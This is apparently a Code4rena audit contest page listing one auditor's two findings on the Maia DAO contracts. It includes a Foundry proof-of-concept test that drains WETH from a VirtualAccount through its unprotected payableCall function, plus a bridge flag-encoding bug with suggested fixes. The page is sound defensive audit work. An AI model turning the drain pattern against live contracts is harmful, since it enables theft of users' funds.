Platform: Code4rena
Start Date: 22/09/2023
Pot Size: $100,000 USDC
Total HM: 15
Participants: 175
Period: 14 days
Judge: alcueca
Total Solo HM: 4
Id: 287
League: ETH
Rank: 41/175
Findings: 2
Award: $113.04
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: 0xTheC0der
Also found by: 0x180db, 0xDING99YA, 0xRstStn, 0xTiwa, 0xWaitress, 0xblackskull, 0xfuje, 3docSec, Aamir, Black_Box_DD, HChang26, Hama, Inspecktor, John_Femi, Jorgect, Kek, KingNFT, Kow, Limbooo, MIQUINHO, MrPotatoMagic, NoTechBG, Noro, Pessimistic, QiuhaoLi, SovaSlava, SpicyMeatball, T1MOH, TangYuanShen, Vagner, Viktor_Cortess, Yanchuan, _eperezok, alexweb3, alexxander, ast3ros, ayden, bin2chen, blutorque, btk, ciphermarco, ether_sky, gumgumzum, gztttt, hals, imare, its_basu, joaovwfreire, josephdara, klau5, kodyvim, ladboy233, marqymarq10, mert_eren, minhtrng, n1punp, nobody2018, oada, orion, peakbolt, peritoflores, perseverancesuccess, pfapostol, rvierdiiev, stuxy, tank, unsafesol, ustas, windhustler, zambody, zzzitron
0.1127 USDC - $0.11
https://github.com/code-423n4/2023-09-maia/blob/main/src/VirtualAccount.sol#L85-L112
VirtualAccount
contract is used to store user's funds, only owner or authorized router are allowed to transfer tokens from it, this is not the case with the permissionless function payableCall
. Attacker can construct a malicious payload and execute it with a VirtualAccount
, for example approve max amount of tokens and transferFrom them to his address.
//SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "./helpers/ImportHelper.sol"; import "forge-std/Test.sol"; import {VirtualAccount, PayableCall} from "src/VirtualAccount.sol"; import "./mocks/WETH9.sol"; contract DummyPort { function isRouterApproved(VirtualAccount, address) external pure returns(bool) { return false; } } contract VirtualAccountC4 is Test { VirtualAccount target; WETH9 weth; DummyPort port; function setUp() public { port = new DummyPort(); weth = new WETH9(); target = new VirtualAccount(address(this), address(port)); weth.deposit{value: 100e18}(); weth.transfer(address(target), 100e18); } function testVirtualThief() public { address mal = makeAddr("Mal"); uint256 amount = weth.balanceOf(address(target)); vm.prank(mal); vm.expectRevert(); target.withdrawERC20(address(weth), amount); PayableCall[] memory calls = new PayableCall[](1); bytes memory payload = abi.encodeWithSignature("approve(address,uint256)", mal, type(uint256).max); calls[0] = PayableCall(address(weth), payload, 0); vm.startPrank(mal); target.payableCall(calls); weth.transferFrom(address(target), mal, amount); assertEq(weth.balanceOf(mal), amount); } }
Foundry
Apply requiresApprovedCaller
modifier
call/delegatecall
#0 - c4-pre-sort
2023-10-08T14:33:42Z
0xA5DF marked the issue as duplicate of #888
#1 - c4-pre-sort
2023-10-08T14:40:52Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-26T11:31:52Z
alcueca marked the issue as satisfactory
🌟 Selected for report: kodyvim
Also found by: 0xnev, Kow, QiuhaoLi, SpicyMeatball, ast3ros, ayden, bin2chen, chaduke, jasonxiale, minhtrng, nobody2018
112.9294 USDC - $112.93
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090
Calling callOutAndBridgeMultiple
with a _hasFallbackToggled
set to true won't enable the fallback if call will fail on the receiving chain.
When calling callOutAndBridgeMultiple
a RootBridgeAgent
will prepare a settlement payload with _createSettlementmultiple
function, in this payload first byte is an operation code, it can be 0x82 if fallback is enabled or 0x02 otherwise. Unfortunately an error in the encoding prevents setting flag to 0x82 if fallback is enabled
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L1090
making it always be 0x02
As you can see on the receiving end in the BranchBridgeAgent
, we expect the correct value of 0x82 to enable the fallback
https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L651
Manual review
Set flag to 0x82 if fallback is toggled just like in _performRetrySettlementCall
.
https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L894
en/de-code
#0 - c4-pre-sort
2023-10-08T05:18:46Z
0xA5DF marked the issue as duplicate of #882
#1 - c4-pre-sort
2023-10-08T15:01:37Z
0xA5DF marked the issue as sufficient quality report
#2 - c4-judge
2023-10-25T10:03:49Z
alcueca marked the issue as satisfactory